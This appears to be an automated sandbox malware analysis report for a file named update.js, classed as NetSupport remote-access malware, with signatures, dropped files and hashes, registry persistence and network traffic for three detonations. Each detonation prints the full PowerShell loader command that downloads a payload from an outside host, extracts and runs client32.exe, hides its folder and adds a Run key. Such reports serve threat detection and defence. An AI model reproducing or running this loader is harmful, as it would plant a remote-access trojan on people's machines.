Analysis Overview
SHA256
7a153e840b1e15b0ca6f9c99072fb34efc759c6f96e24b1c01d8cfc1b5cf9e78
Threat Level: Known bad
The file update.js was found to be: Known bad.
Malicious Activity Summary
NetSupport
Blocklisted process makes network request
Checks computer location settings
Loads dropped DLL
Executes dropped EXE
Adds Run key to start application
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Suspicious use of FindShellTrayWindow
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-01-29 18:18
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-01-29 18:18
Reported
2024-01-29 18:21
Platform
win10-20231215-en
Max time kernel
135s
Max time network
146s
Command Line
Signatures
NetSupport
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX794\client32.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX794\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX794\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX794\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX794\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX794\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX794\client32.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000\Software\Microsoft\Windows\CurrentVersion\Run\OFFICE = "C:\\Users\\Admin\\AppData\\Roaming\\DIVX794\\client32.exe" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeSecurityPrivilege | N/A | C:\Users\Admin\AppData\Roaming\DIVX794\client32.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX794\client32.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 4324 wrote to memory of 3496 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 4324 wrote to memory of 3496 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 3496 wrote to memory of 4288 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\DIVX794\client32.exe |
| PID 3496 wrote to memory of 4288 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\DIVX794\client32.exe |
| PID 3496 wrote to memory of 4288 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\DIVX794\client32.exe |
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\update.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $ZPGikOnkUuHvqwFnjEsZUbNjyHqeW='https://ghostcitygames.com/data.php?8788';$SoBseWjQCbXsIdUcIgcz=(New-Object System.Net.WebClient).DownloadString($ZPGikOnkUuHvqwFnjEsZUbNjyHqeW);$bJaQgoixMmUUWVGctFLemiVGAtKDe=[System.Convert]::FromBase64String($SoBseWjQCbXsIdUcIgcz);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $WLUWUqgepgVRefnUu=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $WLUWUqgepgVRefnUu -PathType Container)) { New-Item -Path $WLUWUqgepgVRefnUu -ItemType Directory };$p=Join-Path $WLUWUqgepgVRefnUu 'lol.zip';[System.IO.File]::WriteAllBytes($p,$bJaQgoixMmUUWVGctFLemiVGAtKDe);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$WLUWUqgepgVRefnUu)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $WLUWUqgepgVRefnUu 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $WLUWUqgepgVRefnUu -Force; $FSDFSSD.attributes='Hidden';$s=$WLUWUqgepgVRefnUu+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;
C:\Users\Admin\AppData\Roaming\DIVX794\client32.exe
"C:\Users\Admin\AppData\Roaming\DIVX794\client32.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | ghostcitygames.com | udp |
| RU | 91.219.150.112:443 | ghostcitygames.com | tcp |
| US | 8.8.8.8:53 | 112.150.219.91.in-addr.arpa | udp |
| MD | 5.181.156.45:443 | tcp | |
| US | 8.8.8.8:53 | geo.netsupportsoftware.com | udp |
| US | 104.26.1.231:80 | geo.netsupportsoftware.com | tcp |
| US | 8.8.8.8:53 | 231.1.26.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 45.156.181.5.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 11.227.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 28.73.42.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.221.184.93.in-addr.arpa | udp |
Files
memory/3496-4-0x000001AA31260000-0x000001AA31282000-memory.dmp
memory/3496-6-0x000001AA49590000-0x000001AA495A0000-memory.dmp
memory/3496-5-0x00007FFC31FF0000-0x00007FFC329DC000-memory.dmp
memory/3496-7-0x000001AA49590000-0x000001AA495A0000-memory.dmp
memory/3496-10-0x000001AA497A0000-0x000001AA49816000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hnkyz5hl.vfu.ps1
| MD5 | c4ca4238a0b923820dcc509a6f75849b |
| SHA1 | 356a192b7913b04c54574d18c28d46e6395428ab |
| SHA256 | 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b |
| SHA512 | 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a |
memory/3496-25-0x000001AA49590000-0x000001AA495A0000-memory.dmp
memory/3496-43-0x000001AA49540000-0x000001AA4954A000-memory.dmp
memory/3496-44-0x000001AA49570000-0x000001AA49582000-memory.dmp
C:\Users\Admin\AppData\Roaming\DIVX794\client32.exe
| MD5 | c4f1b50e3111d29774f7525039ff7086 |
| SHA1 | 57539c95cba0986ec8df0fcdea433e7c71b724c6 |
| SHA256 | 18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d |
| SHA512 | 005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5 |
C:\Users\Admin\AppData\Roaming\DIVX794\PCICL32.dll
| MD5 | 6cb4f24afa017ee6c06d8b37e9c413ef |
| SHA1 | 3be6235694938eeb805f05a9f661178802250ef4 |
| SHA256 | 615b7040d3edf9a0f1ec19402dd101dacd5d965c37737bfa19e986c7b02cdaeb |
| SHA512 | 63ba8f7cbe1c8831d7dd173f696f7a83f5d1015317b42127668662c1b18f5e33fa19d0e1ed58cc0a6ed7f5ab81e3fa9c00f0cbf504ad6a5366e12de6b5e01169 |
\Users\Admin\AppData\Roaming\DIVX794\PCICL32.DLL
| MD5 | 24100d71edf711fc7fece098ca64b0cb |
| SHA1 | 4c0f6119e245c1bfb5843b5a59ab1f95fa8363b2 |
| SHA256 | d242613b0be92b41193463ad258a5d2c547774f99fef1c63e6d3c0edb40939f0 |
| SHA512 | f814d253ae296a52ec0763fb841421b69207be52b9b390007754a2f7f3acf182d69da5500678d911d75ddfa892cfee847bed2c7c6000b7b84a690b599675f809 |
C:\Users\Admin\AppData\Roaming\DIVX794\pcicapi.dll
| MD5 | 34dfb87e4200d852d1fb45dc48f93cfc |
| SHA1 | 35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641 |
| SHA256 | 2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703 |
| SHA512 | f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2 |
C:\Users\Admin\AppData\Roaming\DIVX794\pcichek.dll
| MD5 | 104b30fef04433a2d2fd1d5f99f179fe |
| SHA1 | ecb08e224a2f2772d1e53675bedc4b2c50485a41 |
| SHA256 | 956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd |
| SHA512 | 5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f |
C:\Users\Admin\AppData\Roaming\DIVX794\MSVCR100.dll
| MD5 | 28f8b58e237891307ac2b7e79bd3d24f |
| SHA1 | 61d1673ba5120db79c2a88807aeefcfea809b187 |
| SHA256 | e2ba91361be58b3b04688f1db3eb503d9bac7a7d5dc9f22a7c9c6ab26f38cf37 |
| SHA512 | 91106f299376bd5c42078124be0415168955fbbefd902166804d38a4f2ab99ca53db1a3798be3ecf9f3691fed9b0beb148841f433601e15705408fd07e406613 |
C:\Users\Admin\AppData\Roaming\DIVX794\client32.ini
| MD5 | 98043670d8c850e878e333312fcfa25a |
| SHA1 | dc795e8b906d70ee5854a6797e0c1557375bc443 |
| SHA256 | 0e7679bf30f5278850e4ff560975cce34d125e04463290ca8c0bf7065da3eecc |
| SHA512 | 13295bcf155a8dbc0afaa44dd746801e8087a3f3436c43b2879dbd1f7895faed122f06235814be887d6e305bf181135fc07b6beebf3ea30435282050ac88f201 |
C:\Users\Admin\AppData\Roaming\DIVX794\NSM.LIC
| MD5 | 1b41e64c60ca9dfadeb063cd822ab089 |
| SHA1 | abfcd51bb120a7eae5bbd9a99624e4abe0c9139d |
| SHA256 | f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d |
| SHA512 | c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4 |
\Users\Admin\AppData\Roaming\DIVX794\msvcr100.dll
| MD5 | 30dfaaf86488971e16182c348f9230ee |
| SHA1 | a305bdb0a5449393957f281c32c38b28a9e3adb0 |
| SHA256 | c01e0ec91e1dc9cdbea39bc989faf9ddabac30fdf26dd0237e05eb53b985d01a |
| SHA512 | 06398de3d8885b0d9981ac8eb8132a5d0e36775d9a5cb4c06e5efef0377daa16f76ae208e01fc706c831cdb9a961347fb621bf8e2355eeeec9bbdcb262b5846c |
\Users\Admin\AppData\Roaming\DIVX794\msvcr100.dll
| MD5 | 0e37fbfa79d349d672456923ec5fbbe3 |
| SHA1 | 4e880fc7625ccf8d9ca799d5b94ce2b1e7597335 |
| SHA256 | 8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18 |
| SHA512 | 2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630 |
C:\Users\Admin\AppData\Roaming\DIVX794\HTCTL32.DLL
| MD5 | c94005d2dcd2a54e40510344e0bb9435 |
| SHA1 | 55b4a1620c5d0113811242c20bd9870a1e31d542 |
| SHA256 | 3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899 |
| SHA512 | 2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a |
memory/3496-116-0x00007FFC31FF0000-0x00007FFC329DC000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-01-29 18:18
Reported
2024-01-29 18:21
Platform
win10v2004-20231215-en
Max time kernel
93s
Max time network
151s
Command Line
Signatures
NetSupport
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\wscript.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-282\client32.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-282\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-282\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-282\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-282\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-282\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-282\client32.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OFFICE = "C:\\Users\\Admin\\AppData\\Roaming\\DIVX-282\\client32.exe" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeSecurityPrivilege | N/A | C:\Users\Admin\AppData\Roaming\DIVX-282\client32.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-282\client32.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 552 wrote to memory of 4368 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 552 wrote to memory of 4368 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 4368 wrote to memory of 4668 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\DIVX-282\client32.exe |
| PID 4368 wrote to memory of 4668 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\DIVX-282\client32.exe |
| PID 4368 wrote to memory of 4668 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\DIVX-282\client32.exe |
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\update.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $ZPGikOnkUuHvqwFnjEsZUbNjyHqeW='https://ghostcitygames.com/data.php?8788';$SoBseWjQCbXsIdUcIgcz=(New-Object System.Net.WebClient).DownloadString($ZPGikOnkUuHvqwFnjEsZUbNjyHqeW);$bJaQgoixMmUUWVGctFLemiVGAtKDe=[System.Convert]::FromBase64String($SoBseWjQCbXsIdUcIgcz);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $WLUWUqgepgVRefnUu=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $WLUWUqgepgVRefnUu -PathType Container)) { New-Item -Path $WLUWUqgepgVRefnUu -ItemType Directory };$p=Join-Path $WLUWUqgepgVRefnUu 'lol.zip';[System.IO.File]::WriteAllBytes($p,$bJaQgoixMmUUWVGctFLemiVGAtKDe);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$WLUWUqgepgVRefnUu)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $WLUWUqgepgVRefnUu 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $WLUWUqgepgVRefnUu -Force; $FSDFSSD.attributes='Hidden';$s=$WLUWUqgepgVRefnUu+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;
C:\Users\Admin\AppData\Roaming\DIVX-282\client32.exe
"C:\Users\Admin\AppData\Roaming\DIVX-282\client32.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | ghostcitygames.com | udp |
| RU | 91.219.150.112:443 | ghostcitygames.com | tcp |
| US | 8.8.8.8:53 | 209.205.72.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 112.150.219.91.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 73.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| MD | 5.181.156.45:443 | tcp | |
| US | 8.8.8.8:53 | geo.netsupportsoftware.com | udp |
| US | 104.26.0.231:80 | geo.netsupportsoftware.com | tcp |
| US | 8.8.8.8:53 | 231.0.26.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 45.156.181.5.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 13.86.106.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.165.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 171.39.242.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 134.71.91.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 186.178.17.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 19.229.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 0.205.248.87.in-addr.arpa | udp |
Files
memory/4368-5-0x000002A72EFD0000-0x000002A72EFF2000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ohr1dwzo.ich.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4368-10-0x00007FFA16C40000-0x00007FFA17701000-memory.dmp
memory/4368-11-0x000002A7472F0000-0x000002A747300000-memory.dmp
memory/4368-12-0x000002A7472F0000-0x000002A747300000-memory.dmp
memory/4368-14-0x000002A747250000-0x000002A74725A000-memory.dmp
memory/4368-15-0x000002A747280000-0x000002A747292000-memory.dmp
C:\Users\Admin\AppData\Roaming\DIVX-282\client32.exe
| MD5 | c4f1b50e3111d29774f7525039ff7086 |
| SHA1 | 57539c95cba0986ec8df0fcdea433e7c71b724c6 |
| SHA256 | 18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d |
| SHA512 | 005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5 |
C:\Users\Admin\AppData\Roaming\DIVX-282\PCICL32.dll
| MD5 | 085a6374f81e22567507abbcaac29a59 |
| SHA1 | 057f9483e2a368d08d1f40218e8123e5accf552f |
| SHA256 | 5231105a9abe4f03031725363be1689a1be61fd122e854b23524b5c1fac6bb5c |
| SHA512 | e51fd51f465564c58a49d7bec4fa6274bcca3985e2e8371bf6265de58da3365d82d40e3833285ff8e32a700ab26da18769677a9cb1ef2fc9665ace795f547688 |
C:\Users\Admin\AppData\Roaming\DIVX-282\PCICL32.DLL
| MD5 | 501176e2f694043141c68966d7c6306e |
| SHA1 | c8d2733d2e40e89beb66dda9a7f4e05361ed4eef |
| SHA256 | 724f8dcba0a968f2bd96f845ffe85a68382ba9f14db570ea0b52065b53b2f19c |
| SHA512 | a1fd89bbadadb14bf0c80252b787f50ec5da3632ccd67285ff0fe2a0398ccc3aaade07b87b242a2f68de9e20a92faa7d9ec31839d3ae85f60b6726120bec051b |
C:\Users\Admin\AppData\Roaming\DIVX-282\pcicapi.dll
| MD5 | 34dfb87e4200d852d1fb45dc48f93cfc |
| SHA1 | 35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641 |
| SHA256 | 2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703 |
| SHA512 | f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2 |
C:\Users\Admin\AppData\Roaming\DIVX-282\msvcr100.dll
| MD5 | 0e37fbfa79d349d672456923ec5fbbe3 |
| SHA1 | 4e880fc7625ccf8d9ca799d5b94ce2b1e7597335 |
| SHA256 | 8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18 |
| SHA512 | 2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630 |
memory/4368-82-0x00007FFA16C40000-0x00007FFA17701000-memory.dmp
C:\Users\Admin\AppData\Roaming\DIVX-282\PCICHEK.DLL
| MD5 | 104b30fef04433a2d2fd1d5f99f179fe |
| SHA1 | ecb08e224a2f2772d1e53675bedc4b2c50485a41 |
| SHA256 | 956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd |
| SHA512 | 5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f |
C:\Users\Admin\AppData\Roaming\DIVX-282\client32.ini
| MD5 | 98043670d8c850e878e333312fcfa25a |
| SHA1 | dc795e8b906d70ee5854a6797e0c1557375bc443 |
| SHA256 | 0e7679bf30f5278850e4ff560975cce34d125e04463290ca8c0bf7065da3eecc |
| SHA512 | 13295bcf155a8dbc0afaa44dd746801e8087a3f3436c43b2879dbd1f7895faed122f06235814be887d6e305bf181135fc07b6beebf3ea30435282050ac88f201 |
C:\Users\Admin\AppData\Roaming\DIVX-282\NSM.LIC
| MD5 | 1b41e64c60ca9dfadeb063cd822ab089 |
| SHA1 | abfcd51bb120a7eae5bbd9a99624e4abe0c9139d |
| SHA256 | f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d |
| SHA512 | c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4 |
C:\Users\Admin\AppData\Roaming\DIVX-282\HTCTL32.DLL
| MD5 | c94005d2dcd2a54e40510344e0bb9435 |
| SHA1 | 55b4a1620c5d0113811242c20bd9870a1e31d542 |
| SHA256 | 3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899 |
| SHA512 | 2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a |
Analysis: behavioral3
Detonation Overview
Submitted
2024-01-29 18:18
Reported
2024-01-29 18:21
Platform
win11-20231222-en
Max time kernel
87s
Max time network
125s
Command Line
Signatures
NetSupport
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX305\client32.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX305\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX305\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX305\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX305\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX305\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX305\client32.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1184116928-951304463-2249875399-1000\Software\Microsoft\Windows\CurrentVersion\Run\OFFICE = "C:\\Users\\Admin\\AppData\\Roaming\\DIVX305\\client32.exe" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeSecurityPrivilege | N/A | C:\Users\Admin\AppData\Roaming\DIVX305\client32.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX305\client32.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1252 wrote to memory of 2484 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1252 wrote to memory of 2484 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2484 wrote to memory of 3104 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\DIVX305\client32.exe |
| PID 2484 wrote to memory of 3104 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\DIVX305\client32.exe |
| PID 2484 wrote to memory of 3104 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\DIVX305\client32.exe |
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\update.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $ZPGikOnkUuHvqwFnjEsZUbNjyHqeW='https://ghostcitygames.com/data.php?8788';$SoBseWjQCbXsIdUcIgcz=(New-Object System.Net.WebClient).DownloadString($ZPGikOnkUuHvqwFnjEsZUbNjyHqeW);$bJaQgoixMmUUWVGctFLemiVGAtKDe=[System.Convert]::FromBase64String($SoBseWjQCbXsIdUcIgcz);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $WLUWUqgepgVRefnUu=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $WLUWUqgepgVRefnUu -PathType Container)) { New-Item -Path $WLUWUqgepgVRefnUu -ItemType Directory };$p=Join-Path $WLUWUqgepgVRefnUu 'lol.zip';[System.IO.File]::WriteAllBytes($p,$bJaQgoixMmUUWVGctFLemiVGAtKDe);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$WLUWUqgepgVRefnUu)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $WLUWUqgepgVRefnUu 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $WLUWUqgepgVRefnUu -Force; $FSDFSSD.attributes='Hidden';$s=$WLUWUqgepgVRefnUu+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;
C:\Users\Admin\AppData\Roaming\DIVX305\client32.exe
"C:\Users\Admin\AppData\Roaming\DIVX305\client32.exe"
Network
| Country | Destination | Domain | Proto |
